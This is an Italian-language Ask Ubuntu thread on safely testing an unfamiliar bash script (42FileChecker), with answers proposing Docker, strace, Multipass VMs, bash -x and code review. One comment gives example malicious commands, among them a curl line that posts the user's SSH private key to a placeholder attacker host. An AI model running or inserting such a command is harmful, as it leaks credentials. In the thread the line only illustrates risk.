Come posso testare uno script di shell in un "ambiente sicuro" per evitare danni al mio computer?


29

Vorrei installare un certo script bash chiamato 42FileChecker usando i comandi:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Ma non so se 42FileChecker.sh farà cose strane sul mio PC perché sono un principiante e non so cosa sta succedendo in quello script. C'è un modo per eseguirlo in un terminale fittizio o in una cartella radice fittizia o qualcosa del genere per vedere cosa succede in modo da evitare qualcosa di folle come la formattazione delle mie unità. Mi piacerebbe sapere come testare le shell anche per futuri script di shell, anche se 42FileChecker.sh è sicuro.


5
Poiché è uno script, puoi leggerlo e leggere le manpagine sui comandi in esso contenuti.
Waltinator,

1
Si noti che poiché il codice è ospitato su Git, è possibile leggere la fonte dello strumento. Se la revisione del codice non fa per te, fare una sorta di analisi "dinamica" eseguendola in un ambiente sicuro (sandbox, VM) è la tua prossima scommessa migliore
BlueCacti

4
@waltinator Se sei preoccupato per il comportamento malevolo , piuttosto che per un comportamento non intenzionale, leggere le pagine man non sarà di aiuto.
Ray,

1
@Ray, solo se i comandi in esecuzione sono essi stessi dannosi, quindi le loro pagine man nasconderebbero i loro veri effetti. Credo che waltinator si riferiva al caso più probabile di un uso malizioso di comandi standard, ad esempio, chmod 777 -R ~o di curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsao simili.
Wildcard

1
Correlato . Potresti testare gli script senza rischiare di danneggiare il tuo computer e insegnerebbe ai tuoi colleghi a bloccare le loro sessioni.
Eric Duminil,

Risposte:


4

Non sono esperto in questo, ma consiglierei di usare stracee docker.

Quindi prima crea un container Docker come da istruzioni in questa risposta . Ma l'aggiunta che è quella strace ti dirà quali chiamate di sistema vengono fatte. O per citare:

strace è un'utilità di spazio diagnostico, di debug e didattica per Linux. È usato per monitorare e manomettere le interazioni tra i processi e il kernel Linux, che includono chiamate di sistema, consegne di segnali e cambiamenti di stato del processo.

È possibile combinare questi comandi in

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

Quindi questo passerà attraverso ogni riga dello script (passo per passo) e farà anche tutto questo all'interno di un contenitore, il che significa che tutti i comandi non faranno assolutamente nulla al mio sistema ma verranno eseguiti come al solito. Lo capisco correttamente?
nicholas

1
@nicholas sì, il contenitore docker è una macchina separata per la tua protezione, il programma è in modalità sandbox. Strace ti fornirà tutte le operazioni che l'applicazione esegue su quella macchina, dall'apertura dei file alla configurazione delle connessioni di rete.
Thomas,

1
Sì, è esattamente quello che stavo cercando, Strace combinato con Docker.
nicholas

42

Se non sei sicuro di cosa faccia uno script, è meglio non eseguirlo fino a quando non sei sicuro di ciò che fa. I modi per ridurre il raggio di danno di uno script errato includono eseguirlo utilizzando un nuovo utente, eseguendolo in un contenitore o eseguendolo in una macchina virtuale. Ma quella prima affermazione vale ancora: se non sei sicuro di cosa fa qualcosa, considera di non eseguirla fino a quando non lo fai.


6
D'altra parte gli script sono come gli EULA: Sì, dovresti leggere e comprendere ogni singola riga prima di vendere la tua anima, ma tu?
Peter - Ripristina Monica

7
@ PeterA.Schneider, ma l'EULA non fa davvero nulla fino a quando non viene portato in tribunale. L'esecuzione di uno script ha un effetto immediato sul tuo computer. Non si tratta tanto di leggere ogni riga; riguarda di più "Riflessioni sulla fiducia" e conoscere e fidarsi della fonte della sceneggiatura.
Wildcard

29

Come ha detto @ctt, è probabilmente una buona idea eseguirlo prima in una sandbox. L'uso di una VM è probabilmente la soluzione più semplice. Multipass è piuttosto semplice.

Installa multipass (supponendo che non lo abbia già fatto):

sudo snap install multipass --beta --classic

Fai girare una nuova VM:

multipass launch --name myvm

Accedi alla tua nuova macchina virtuale:

multipass shell myvm

Quindi esegui il tuo script (all'interno del tuo VM):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

38
Questo approccio non è sicuro. Dopo aver eseguito lo script nella sandbox, come hai intenzione di sapere se è sicuro? Potrebbe avere effetti dannosi che non puoi facilmente dire. Il malware non viene necessariamente visualizzato e dice "Haha, capito!". Inoltre, uno script dannoso potrebbe facilmente comportarsi in modo benigno mentre si trova in una sandbox o VM e quindi comportarsi in modo dannoso sul tuo vero computer. (Ad esempio, il rilevamento di VM è una cosa, così come le impronte digitali della macchina.)
DW

12
Questo è un ottimo punto. Se si desidera ispezionare lo script alla ricerca di malware, questa non è una soluzione efficace. Questo è un modo per testare la funzionalità senza inquinare il sistema host.
Ryan J. Yoder

È possibile eseguire un confronto completo con una VM "di controllo".
mckenzm,

6
@mckenzm: Ma se si tratta di malware, è del tutto possibile che sceglierebbe di non fare nulla fino a quando non si troverà con accesso a qualcosa che sembra succoso.
Henning Makholm,

11

Poiché la scuola che stai frequentando ha pubblicato gli script, il posto migliore per esprimere le tue preoccupazioni è con i tuoi istruttori.

Detto questo, possiamo aiutarti a decifrare il codice riga per riga. Probabilmente non è pratico per nessuno qui analizzare tutto il codice.

In realtà hai 40 script bash per un totale di 5.360 righe. Li ho combinati insieme e ho cercato comandi bash / shell che potrebbero essere abusati. Sembrano tutti essere usati normalmente :

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • Non esiste alcun rm -rf /comando per cancellare l'intera partizione del disco rigido.
  • Non è necessario sudoutilizzare per eseguire lo script.
  • Lo script in realtà assicura che solo le Cfunzioni autorizzate vengano utilizzate nei file controllati.
  • Una rapida navigazione del codice bash / shell mostra che è scritto in modo professionale e facile da seguire.
  • L'uso di shellcheck su file include uniti rivela solo tre errori di sintassi.
  • I nomi degli autori sono identificati e l'autore principale ha anche la sua foto sulla sua githubpagina.
  • Sebbene non ci siano garanzie nella vita, 42FileCheckersembra sicuro da usare.

Non sono script bash leggibili dall'uomo di cui devi preoccuparti così tanto. Sono oggetti binari compilati che non puoi leggere che destano preoccupazione. Ad esempio, un programma chiamato "sfera lucida e rimbalzante" potrebbe dipingere qualcosa del genere sullo schermo, ma in background potrebbe cancellare tutti i tuoi file.


Risposta originale

È meglio chiedere all'autore della sceneggiatura cosa fa. In effetti puoi quasi pubblicare la tua domanda alla lettera come appare sopra.

Chiedi anche all'autore:

  • Quali file vengono aggiornati?
  • Cosa succede se si verifica un arresto anomalo a causa di un'interruzione dell'alimentazione o di un bug del programma?
  • È possibile eseguire prima un mini backup?

E ogni altra buona domanda a cui puoi pensare.


Modifica 1 - Preoccupazioni per un autore malizioso.

Dovresti usare solo software con molte buone recensioni pubbliche. In alternativa autori di cui ti fidi qui in Ask Ubuntu come Serge, Jacob, Colin King, ecc. Altri siti rispettati come Ask Ubuntu e i loro membri rispettati dovrebbero essere considerati "non malevoli".

Il vantaggio di "autori rispettati" qui in Ask Ubuntu è che puntano la loro autostima su "punti reputazione". Se dovessero scrivere intenzionalmente codice che "ruba" o "danneggia" i dati perderebbero rapidamente la loro reputazione. In effetti, gli autori potrebbero subire "l'ira delle mod" e essere sospesi e / o avere 10.000 punti di reputazione tolti.


Modifica 2 - Non seguire tutte le istruzioni

Ho dato uno sguardo più approfondito alle istruzioni del tuo script bash:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Il metodo "sicuro" consiste nell'eseguire solo la prima riga:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

Questo scarica gli script ma non li esegue. Quindi utilizzare nautilus(file manager) per ispezionare le directory e i file installati. Molto rapidamente scopri che esiste una raccolta di script bash scritti da un gruppo di studenti in Francia.

Lo scopo degli script è di compilare e testare i programmi C per funzioni improprie e perdite di memoria.


1
Dovrei sì, ma stavo pensando a situazioni in cui l'autore potrebbe fare intenzionalmente qualcosa di malevolo.
nicholas

1
@nicholas ho risposto al tuo commento rivedendo la risposta.
WinEunuuchs2Unix

2
Sto imparando C nel corso di Ecole 42. Le funzioni che sto eseguendo devono eseguire questo controllo delle norme. Devo installare 42FileChecker in Ubuntu per eseguire questo controllo norme. Immagino che per il momento devo solo fidarmi di questo script, ma prima dovevo sapere come eseguire uno "svolgimento sicuro" dello script perché non sono molto bravo a fare ricerche da uomo. Grazie per l'aiuto. La prossima volta eseguirò una macchina virtuale.
nicholas

2
@nicholas Linea 24 di ~/42FileChecker/includes/display/display_credits.shlavoro gli stati di norminette è una dipendenza: norminette (42 born2code) http://www.42.fr. L'ho letto ieri sera ed è per questo che ho scritto che era una scuola (ecole) in Francia che ha pubblicato 42FileChecker . Da quello che ho esplorato del codice finora non mi preoccuperei di eseguirlo. Inoltre ha pochissimi errori di sintassi segnalati da shellcheckcui è sorprendente per uno script bash da 5.360 righe. Molti script bash pubblicati professionalmente presentano molti errori di sintassi.
WinEunuuchs2Unix

2
@nicholas Dal punto di vista della sicurezza, l'utilizzo dell'ambiente e degli script forniti per la classe è probabilmente l'approccio migliore. Rimuove anche la possibilità di comportamenti diversi rispetto alla versione ufficiale del corso che potrebbe essere una sorpresa al momento del rientro. Sei sicuro che non ci sia accesso remoto a questa macchina, possibilmente utilizzando un servizio VPN fornito dal campus o SSH da un altro computer a cui puoi accedere in remoto?
Trognandro

5

Puoi usare Docker. I contenitori Docker sono isolati dal sistema operativo host, quindi qualsiasi attività dannosa rimarrà all'interno di un contenitore, a condizione che non venga rilasciata specificatamente inoltrando le porte o montando i filesystem.

Per installare la finestra mobile:

sudo apt-get install docker.io

Per scaricare un nuovo contenitore Ubuntu Bionic:

docker pull ubuntu:bionic

Successivamente, accedi al contenitore

docker run -it ubuntu:bionic

ed esegui l'operazione ingannevole in essa:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

1
Un altro vantaggio di Docker che può essere utile per determinare cosa fa uno script è che è possibile eseguire docker diffper visualizzare quali modifiche sono state apportate al filesystem da quando è stato avviato il contenitore. L'aspetto negativo dell'utilizzo di Docker è che il contenitore non è una copia completa del sistema host. L'immagine di Ubuntu che menzioni qui contiene solo un'installazione minima di Ubuntu.
Martijn Heemels

2
Invece di docker run ubuntute dovresti eseguire docker run -it ubuntu:bionicIl -itti dà un terminale interattivo nel contenitore e il bionicvero esegue la versione desiderata invece del valore predefinito latest.
Martijn Heemels

Mi piace questa risposta, la migliore di quelle che ho visto. Tuttavia, sembra che lo script dannoso possa ancora abusare del tuo sistema. Potrebbe essere segretamente mineraria bitcoin, ecc Idealmente si potrebbe utilizzare contrassegni supplementari eventualmente --memory, --networke forse altri per davvero bloccare lo script.
emory

1
Se sei davvero paranoico, combina questa risposta con la seconda migliore risposta. Esegui la finestra mobile all'interno di una macchina virtuale e blocca tutto.
emory

3

Prendi in considerazione l'utilizzo della modalità di debug eseguendo lo script come:

$ bash -x scriptname

Ulteriori informazioni utili su Bash

La modalità di debug non impedirà allo script di fare qualcosa di male, ma ti permetterà di passare attraverso lo script riga per riga ed esaminare gli effetti. Potresti anche controllare lo script per alcuni potenziali errori e / o exploit comuni, ad esempio cercare gli script per ogni occorrenza rme guardare quei comandi molto da vicino. Molti di questi strumenti hanno un aiuto integrato per loro provare, ad esempio, rm non elimina una directory di default, ha bisogno della -r, -Ro --recursivepossibilità di farlo.

Potrebbero esserci anche alcuni strumenti simili ad antivirus che cercano questi script bash per questi schemi, ma non ne sono a conoscenza per nome. I tuoi script di esempio sono una sorta di iffy extra, nel senso che scaricano altri strumenti, quindi ognuno di questi dovrebbe anche essere esaminato. Può anche essere utile verificare quali server contattano.


-x può essere usato per il debug (e io lo uso!) ma non ti permetterà di scorrere uno script riga per riga. Ti darà una sorta di "traccia" mentre esegue lo script a tutta velocità.
jrw32982 supporta Monica

2

Le informazioni pertinenti per fornire una risposta si trovano purtroppo solo in un tuo commento:

Sto imparando C nel corso di Ecole 42. Le funzioni che sto eseguendo devono eseguire questo controllo delle norme. Devo installare 42FileChecker in Ubuntu per eseguire questo controllo norme.

Quindi la situazione è che in pratica hai la possibilità di saltare il corso, oppure puoi eseguire lo script per eseguire controlli normativi sulle tue fonti. Parlare con il tuo istruttore non è certo un'opzione, a causa della mancanza del primo (altrimenti non sarebbe un'opzione altrimenti, nessuna scuola cambierà la loro procedura perché uno studente non ne è contento).
Pertanto, non si pone nemmeno la domanda su cosa fare per limitare i possibili danni di tale sceneggiatura. Non è una sceneggiatura casuale che una ragazza arrapata dal seno grande ti ha inviato per e-mail e che devi correre per vedere la sua foto .
Stai facendo un corso di programmazione. Questoè qui che è entrata in gioco questa sceneggiatura. La domanda è se si desidera rispettare le condizioni quadro per completare con successo il corso.

Tuttavia, se sei veramente preoccupato, c'è ancora la possibilità di eseguire lo script in un contenitore o in una macchina virtuale e di inserire i tuoi sorgenti in una cartella condivisa o in una condivisione di rete esposta dal contenitore / macchina virtuale. Questo è praticamente tutto il percorso della paranoia, ma poi la virtualizzazione non è poi così complicata in questi giorni, quindi non costa molto.

Escludendo la possibilità improbabile che un exploit davvero duro sia contenuto in quello script, accedendo come qualsiasi utente non root (che difficilmente hai la possibilità di fare altrimenti su Ubuntu) ed evitando di digitare sudo per nessun motivo ovvio praticamente impedisce al 99% di tutte cose brutte che potrebbero accadere comunque. Come la formattazione del disco rigido, di cui sei preoccupato. Un utente normale non può farlo. La cosa peggiore è che lo script cancella la home directory dell'utente. Quindi cosa, nessun problema, davvero.


Speriamo che i commenti di OP qui su se sudoè richiesto per eseguire lo script. +1
WinEunuuchs2Unix

Evitare sudolimita solo la portata della cancellazione / formattazione accidentale a causa di bug. Se lo script era dannoso o sfruttabile, l'esecuzione con sudosu un sistema a singolo utente non fa alcuna differenza essenziale.
quell'altro ragazzo

@ WinEunuuchs2Unix Non penso che sudo sia necessario. Non lo so davvero. Anche se ho usato sudo per i comandi di installazione apt. Significa che devo usarlo anche per eseguire uno script?
nicholas

1
@nicholas Non ho programmi C da compilare e testare, 42FileCheckerquindi non posso davvero dire se sudoè necessario o meno. Lo script bash non verifica la presenza di sudo e ti dice comunque di usarlo. Sembrerebbe quindi che sudonon sia necessario. Ancora una volta penso che chiedere al tuo istruttore (insegnante) sia la migliore politica. Ho aggiornato la mia risposta un'ora fa con una piccola analisi della sceneggiatura. Si noti che il nome " mynorminette" è apparso di nuovo all'interno del codice.
WinEunuuchs2Unix

1
@nicholas Scommetto che alcuni degli istruttori conoscono personalmente norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk e Jean-Michel Gigault a cui tutti hanno contribuito 42FileChecker. Credo che parlare con gli istruttori ti metterà a tuo agio. Dopo un paio d'ore di indagine ho fiducia nei programmatori e nelle loro creazioni. Jean-Michel Gigault ha anche la sua foto su github. Piuttosto un testamento di fiducia in una terra dove crescono i semi Yellow Vest. Viva La France! (et Ecole 42 :)) Facci un favore ed entra per fornire aggiornamenti sui progressi.
WinEunuuchs2Unix
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.